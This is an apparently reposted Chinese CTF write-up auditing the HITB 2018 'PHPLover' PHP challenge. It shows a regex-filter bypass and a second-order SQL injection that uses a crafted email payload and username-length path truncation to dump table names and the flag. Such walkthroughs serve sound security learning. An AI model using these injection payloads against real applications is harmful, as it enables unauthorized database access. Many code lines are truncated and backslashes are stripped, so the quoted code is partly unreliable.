PHP代码审计&2018-HITB-PHPLover

转载

普通网友 于 2018-04-24 04:44:45 发布 369 收藏
分类专栏： php-hack

php-hack 专栏收录该内容
62 篇文章 3 订阅
订阅专栏
发布时间：2018-04-17 14:22:54

前记

比赛的时候没能做出来，现在复现一下整个题目
开头先放参考链接

```
https://github.com/balsn/ctf_writeup/tree/master/20180411-hitbxctfqual#php-lover-bookgin--sces60107
```

代码结构

题目一共4个文件夹

```
Controller
Core
templates
uploads
```

其中Core中是类及方法定义
Controller是控制器，只有一个index.php
我们首先从这里突破

代码分析

大致几个功能如下

```
public function login()
public function register()
public function add()
public function view()
public function edit()
public function export()
```

login

我们依次分析过去，首先是容易存在注入的登录和注册

```
public function login(){
        if($this->user->islogin()){
            header("Location:/index.php");
            exit();
        }
        if(isset($_POST['username'])&&isset($_POST["password"])){
            $this->user->login($_POST['username'],$_POST['password']);
            if (!$this->user->islogin()){
                //TODO! report it!
                echo "error! Login failed!";
            }
            else{
                echo "Login success!";
            }
        }
        else{
            include("templates/login.html");
        }
    }
```

看到登录调用User类的login方法，我们跟一下这个login()

```
function login($username,$password){
        if(!is_string($username) or !$username or !filter($username)) return false;
        if(!preg_match('/^[a-zA-Z0-9_]+$/i',$username)) return false;
        $passhash=md5($password);
        if($r=$this->db->One("users",array("username" => "'$username'","password" => "'$passhash'"))){
            $_SESSION['user']=$r;
            $this->islogin=1;
            $this->id = $_SESSION['user'][0];
            $this->username = $_SESSION['user'][1];
            $this->nickname = $_SESSION['user'][2];
            $this->email = $_SESSION['user'][4];
            return true;
        }
        else
            return false;
    }
```

我们跟一下username的过滤filter()

```
function filter($string){
    $preg="\b(benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\()|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*
    if(preg_match("/".$preg."/is",$string)){
        die('hacker');
    }
    return true;
}
```

发现正则过滤大量关键词，但是不难发现一个关键点

```
b
```

正则开头有一个b
我们查阅一下资料

```
b Any word boundary character
```

其功能是用来匹配单词
举个例子，官方给出这样的比较

```
<?php
/* The b in the pattern indicates a word boundary, so only the distinct
 * word "web" is matched, and not a word partial like "webbing" or "cobweb" */
if (preg_match("/bwebb/i", "PHP is the web scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}

if (preg_match("/bwebb/i", "PHP is the website scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}
?>
```

前者输出`A match was found.`
后者输出`A match was not found.`
原因很简单，`b`表示的为单词边界，而不是通配，并不是`*web*`这种，所以只有web才可以满足
像是

```
webing
conwebing
```

都无法匹配
所以这就带来了问题
例如我们测试

```
select * from users
select * from/**/users
```

测试过滤代码如下

```
<?php
#$string = "select * from users";
$string = "select * from/**/users";
$preg="\b(benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\()|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+
if(preg_match("/".$preg."/is",$string)){
    var_dump('hacker');
}
?>
```

很明显前者打印`hacker`
而后者Bypass过滤
与此同时`/**/`可以作为空格注入，达到一举两得的目的
虽然bypass了filter()，接下来还有新的过滤

```
if(!preg_match('/^[a-zA-Z0-9_]+$/i',$username))
```

这里显然封杀了我们的

```
/**/
```

所以可见Login这条路不通，我们接着看注册

register

直接看注册代码

```
    public function register(){
         if($this->user->islogin()){
             header("Location:/index.php");
             exit();
         }
         if(isset($_POST['username']) and isset($_POST['nickname']) and isset($_POST['password']) and isset(
         {
             if($this->user->register($_POST['username'],$_POST['nickname'],$_POST['password'],$_POST['email
                     //TODO! report it!
                     echo "error! Register failed!";
             }
             else{
                 echo "Register success!";
             }
         }
         else{
             include("templates/register.html");
         }
     }
```

同样跟进register()方法

```
function register($username,$nickname,$password,$email){
        if(!is_string($username) or !$username or !filter($username)) return false;
        if(!is_string($nickname) or !$nickname or !filter($nickname)) return false;
        if(!is_string($password) or !$password) return false;
        if(!is_string($email) or !$email or !filter($email)) return false;
        if(!preg_match('/^[a-zA-Z0-9_]+$/i',$username)) return false;
        if(!preg_match('/^[a-zA-Z0-9_]+$/i',$nickname)) return false;
        if(!preg_match('/^(([^<>()[]\.,;:s@"]+(.[^<>()[]\.,;:s@"]+)*)|(".+"))@((([0-9]{1,3}.[0-9]{1,3}.
        if ($this->db->One("users",array("username" => "'$username'"))) return false;
        $email=daddslashes($email);
        $passhash=md5($password);
        return $this->db->Insert("users",array("'$username'","'$nickname'","'$passhash'","'$email'"));
    }
```

我们可以看到关键过滤

```
if(!is_string($email) or !$email or !filter($email)) return false;
if(!preg_match('/^[a-zA-Z0-9_]+$/i',$username)) return false;
if(!preg_match('/^[a-zA-Z0-9_]+$/i',$nickname)) return false;
if(!preg_match('/^(([^<>()[]\.,;:s@"]+(.[^<>()[]\.,;:s@"]+)*)|(".+"))@((([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,
```

这里容易发现

```
$username
$nickname
```

已经被封死
但是email似乎还有存活的空间
首先我们可以bypass filter()
然后是下面的正则匹配

```
if(!preg_match('/^(([^<>()[]\.,;:s@"]+(.[^<>()[]\.,;:s@"]+)*)|(".+"))@((([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,
```

我们看看是否能够bypass
当然这么长的正则，直接看很难受，我们拆分看看

```
(([^<>()[]\.,;:s@"]+(.[^<>()[]\.,;:s@"]+)*)|(".+"))

@

((([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}])|(([a-zA-Z-0-9]+.)+[a-zA-Z]{2,}))
```

首先可以大致拆成以@为截断的两部分
我们先对第一段拆分分析

```
(
    (
        [^<>()[]\.,;:s@"]
        +
        (.[^<>()[]\.,;:s@"]+)
    *)
    |
    (".+")
)
```

这里不难发现后者

```
 (".+")
```

存在问题
只需要

```
""
```

一对双引号包围即可，引号中间可以随意写入
我们测试

```
<?php
<?php
$string = '"' and select 123 and 1=1#'"';
if(!preg_match('/^(["].+["])$/i',$string))
{
    echo 'fuck';
}
 ?>
```

发现可以不被限制
我们再看后半部分,
(实际上可以不看了，因为前面可以引入#,可以直接注释后面的内容)
将其拆分

```
(
    ([[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}])
    |
    (([a-zA-Z-0-9]+.)+[a-zA-Z]{2,})
)
```

可以看到这里就比较中规中矩了
我们简单使用

```
skysec.top
```

即可
这里我们测试一下刚才的payload

```
"' and 1=1#'"@skysec.top
```

测试代码

```
<?php
$email = '"' and 1=1#'"@skysec.top';
if(!preg_match('/^(([^<>()[]\.,;:s@"]+(.[^<>()[]\.,;:s@"]+)*)|(["].+["]))@(([[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,
{
    echo 'fuck';
}
 ?>
```

发现成功bypass
再回到代码

```
$email=daddslashes($email);
```

我们跟进一下daddslashes()

```
function daddslashes($string)
{
    if (is_array($string)) {
        $keys = array_keys($string);
        foreach ($keys as $key) {
            $val = $string[$key];
            unset($string[$key]);
            $string[addslashes($key)] = daddslashes($val);
        }
    } else {
        $string =addslashes(trim($string));
    }
    return $string;
}
```

发现这里梦想破灭，”都会被转义
我们测试

```
function daddslashes($string)
{
    if (is_array($string)) {
        $keys = array_keys($string);
        foreach ($keys as $key) {
            $val = $string[$key];
            unset($string[$key]);
            $string[addslashes($key)] = daddslashes($val);
        }
    } else {
        $string =addslashes(trim($string));
    }
    return $string;
}

$email = '"' and 1=1#'"@skysec.top';
if(!preg_match('/^(([^<>()[]\.,;:s@"]+(.[^<>()[]\.,;:s@"]+)*)|(".+"))@((([[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,
{
    echo 'fuck';
}
echo $email."n";
echo daddslashes($email);
```

发现打印结果

```
"' and 1=1#'"@skysec.top
"' and 1=1#'"@skysec.top
```

好吧，注册这里的直接注入也行不通了，我们先把这个放一放

add/view

直接看代码

```
public function add(){
        if(isset($_POST['title'])&&isset($_POST['content'])&&$_POST['content']&&$_POST['title']){
            if(is_string($_POST['title']) && is_string($_POST['content'])){
                if($this->user->add($_POST['title'],$_POST['content'])){
                    header("Location:/index.php/view/");
                    exit();
                }
            }
            else{
                //TODO! report it!
                quit('Add failed!');
            }
        }
        else{
            include("templates/add.html");
        }
    }
```

发现过滤很少，同样跟进这里的add()方法

```
function add($title,$content){
        $title=daddslashes($title);
        $content=daddslashes($title);
        return $this->db->Insert("articles",array($this->id,"'$title'","'$content'"));
    }
```

这里也基本不存在注入的可能了，全部转义了
然后是view函数

```
if(isset($_GET['article'])){
    $id=intval($_GET['article']);
```

看到这里我就知道凉了，这里直接给我们`intval()`了
此路不通，换！

edit

直接看代码

```
public function edit(){
        if(isset($_POST['submit']) and isset($_POST['nickname']) and isset($_POST['email']) and isset($_POS
            if($_POST['code']!==$_SESSION['code']){
                quit('validatecode error!');
            }
            if(!$_POST['nickname'] or !$_POST['email']) quit('Something error!');

            if($_POST['nickname']!=$this->user->getnickname())
                if($this->user->edit("nickname",$_POST['nickname']))
                    $_SESSION['user'][2]=$_POST['nickname'];

            if($_POST['email']!=$this->user->getemail())
                if($this->user->edit("email",$_POST['email']))
                    $_SESSION['user'][4]=$_POST['email'];

            if($_FILES['avatar'] and $_FILES["avatar"]["error"] == 0){
                if((($_FILES["avatar"]["type"] == "image/gif") or ($_FILES["avatar"]["type"] == "image/jpeg
                    $info=getimagesize($_FILES['avatar']['tmp_name']);
                    if(@is_array($info) and array_key_exists('mime',$info)){
                        $type=explode('/',$info['mime'])[1];
                        $filename="uploads/".$this->user->getuser().".".$type;
                        if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
                            $this->user->edit("avatar",array($filename,$type));
                            if(move_uploaded_file($_FILES['avatar']['tmp_name'], $filename)){
                                quit_and_refresh('Upload success!','edit');
                            }
                            quit_and_refresh('Success!','edit');
                        }
                    }else {
                        //TODO! report it!
                        quit('Only allow gif/jpeg/png files smaller than 64kb!');
                    }
                }
                else{
                    //TODO! report it!
                    quit('Only allow gif/jpeg/png files smaller than 64kb!');
                }
            }
            quit('Success!');
        }
        else
            include("templates/edit.html");
    }
```

这里主要是一个上传功能，我们看看是否可以Bypass
首先是类型检测

```
if((($_FILES["avatar"]["type"] == "image/gif") or ($_FILES["avatar"]["type"] == "image/jpeg") or ($_FILES["
```

这里我们用burp改包就可以轻松bypass
接下来的操作就比较窒息了

```
$info=getimagesize($_FILES['avatar']['tmp_name']);
if(@is_array($info) and array_key_exists('mime',$info)){
    $type=explode('/',$info['mime'])[1];
    $filename="uploads/".$this->user->getuser().".".$type;
```

文件后缀直接是mine的类型，这样我们基本失去bypass上传恶意文件的可能了
那么getuser()文件名会不会有问题呢？
我们跟一下

```
function getuser(){
        if ($this->islogin) return $this->username;
        else return null;
    }
```

可以说很绝望了，文件名也不可控，是我们注册的用户名，记得前面的分析，用户名是无法bypass的，更别说目录穿越了
所以这里的上传，除了文件名长度，我们基本上无法破解，只能也暂且放放了

export

导出功能代码无用的地方比较多，我就给出关键信息

```
if(file_exists($avatar) and filesize($avatar)<65535){
                $data=file_get_contents($avatar);
                if(!$this->user->updateavatar($data)) quit('Something error!');
            }
            else{
                //TODO! report it!
                $out="Your avatar is invalid, so we reported it."</p>";
                $report=$this->user->getreport();
                if($report){
                    $out.="Your last report used email ".htmlspecialchars($report[2],ENT_QUOTES).", and rep
                }
                include("templates/error.html");
                if(!$this->user->report(1)) quit('Something error!');
                die();
            }
```

我们关注到else这里
其中有一个可疑函数report()
我们跟一下

```
function report($type_id){
    return $this->db->Insert("reports",array($this->id,"'$this->email'",$type_id));
}
```

这里作者把它当做错误触发，所以未做任何过滤，其中有一点十分显眼，即email的插入

攻击点思考

有意思的地方来了
这题注册的时候，我们可以Bypass注册恶意邮箱
但是其中有符号被转义了
有趣的是这个转义在取出数据库的时候会被去除
那么如果在取出后，系统又对这个数据进行了一次sql操作，是不是就可以触发注入了呢？
没错，正是二次注入
我们的注册的时候注册恶意邮箱
在这里触发错误报告的时候就会被系统再次调用，取出数据库后转义消失
拼接到insert语句时，构成sql注入攻击
我们根据这一点注册用户,邮箱为

```
"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=dat
```

我们测试

```
<?php
function filter($string){
    $preg="\b(benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\()|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*
    if(preg_match("/".$preg."/is",$string)){
        var_dump('hacker');
    }
    return true;
}

function register($email){
        if(!is_string($email) or !$email or !filter($email)) return false;
        if(!preg_match('/^(([^<>()[]\.,;:s@"]+(.[^<>()[]\.,;:s@"]+)*)|(".+"))@((([0-9]{1,3}.[0-9]{1,3}.
        return true;
    }
$email = '"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_
var_dump(register($email));
```

结果

```
bool(true)
```

发现可以注册成功
此时我们数据库中的email存储格式为

```
"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=dat
```

没错，都是转义过的
这个时候假设我们能触发export中的else选项
则意味着触发`$this->user->report(1)`功能
即

```
$this->db->Insert("reports",array($this->id,"'$this->email'",1));
```

此时`$this->email`为我们邮箱取出数据库的值：

```
"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=dat
```

我们将email带进去

```
$this->db->Insert("reports",array($this->id,'"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ inf
```

根据注释
我们此时利用report插入了两条数据

```
$this->id,'"', 233
2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 2
```

即

```
$this->id,'"', 233
2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 2
```

so nice!
我们成功触发了sql注入
但是我们需要解决的问题有2个：
1.自己的id我们需要知道，这样可以插入
2.触发`if(file_exists($avatar) and filesize($avatar)<65535)`false，这样就会成功来到else，构成系列攻击

解决问题1-id

先解决自己id的问题
我们发现view功能里有

```
if(isset($_GET['article'])){
    .....
}
else{
    $id=$this->user->getid();
    $this->view=$this->user->getarticle();
    include("templates/view.html");
}
```

可以看到，如果我们不输入article参数
那么系统就会调用

```
function getid(){
    if ($this->islogin) return $this->id;
    else return null;
}
```

我们即可获得自己的id

解决问题2-if_false

然后是第二个问题

```
if(file_exists($avatar) and filesize($avatar)<65535)
```

如何让上面这段代码false
我们跟踪`$avatar`变量

```
$avatar=$this->user->getavatar();
```

跟踪getavatar()

```
function getavatar($raw=0){
        if ($this->islogin){
            $r=$this->db->One("avatar",array("user_id"=>$this->id),array("*"));
            if($raw==1){
                if($r){
                    if($r[1]) return $r;
                    else{
                        $r[1]=file_get_contents($r[3]);
                        return $r;
                    }
                }
                else return array('',file_get_contents("uploads/0.jpg"),$this->id,"uploads/0.jpg",'image/jp
            }
            if($r){
                if($r[1]) return "data:".$r[4].";".base64_encode($r[1]);
                else return "/".$r[3];
            }
            else return "/uploads/0.jpg";
        }
        else return null;
    }
```

我们注意到关键操作

```
$r=$this->db->One("avatar",array("user_id"=>$this->id),array("*"));
if($r){
        if($r[1]) return "data:".$r[4].";".base64_encode($r[1]);
        else return "/".$r[3];
}
```

我们注意到数组$r，此时看一下数据库

```
CREATE TABLE IF NOT EXISTS `avatar` (
    `id` int(32) primary key auto_increment,
    `data` blob,
    `user_id` int(32) UNIQUE KEY,
    `filepath` varchar(300),
    `photo_type` varchar(20)
);
```

可以发现

```
$r[1]:data
$r[3]:filepath
```

如果我们的上传图片有数据，就返回Base64后的数据，否则返回路径
我们跟踪一下路径的来源
我们注意到edit的上传功能中有

```
$filename="uploads/".$this->user->getuser().".".$type;
if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
    $this->user->edit("avatar",array($filename,$type));
```

跟进edit()

```
if($feild=="avatar"){
    return $this->db->Insert("avatar",array("''",$this->id,"'$value[0]'","'$value[1]'"));
}
```

即avatar表的filepath字段为

```
uploads/".$this->user->getuser().".".$type
```

即

```
uploads/用户名.文件mine
```

那么问题来了
我们看到数据库结构中

```
CREATE TABLE IF NOT EXISTS `users` (
  `id` int(32) primary key auto_increment,
  `username` varchar(300) UNIQUE KEY,
  .....
)
```

用户名的长度是300，而路径长度

```
`filepath` varchar(300),
```

同为300，这就可以触发错误
如果我们的用户名长度为300
此时插入的路径就会被300截断，而变成一个不存在的路径
此时即可触发

```
file_exists($avatar)
```

错误
故此成功Bypass这个if判断

完整攻击流程

先随便注册个用户，看一下自己的id
然后再迅速注册用户

```
username =
skyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskysk
email =
"', 233), (id+1, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=dat
```

验证id是否是自己预想的id+1
登录后触发上传功能
上传空文件，抓包改mine
触发export功能
即可完成攻击，发现注入成功后的数据
最后得到flag表

```
CREATE TABLE IF NOT EXISTS `fffflag_is_here` (
    `id` int(32) primary key auto_increment,
    `flllag_is_hhhhere` varchar(300),
);
```

以及数据

```
HITB{2e9ular131mp0rt4nt}
```

后记

个人认为题目思路可以，Orz出题人大哥~

代码审计 技术分析 HITB XCTF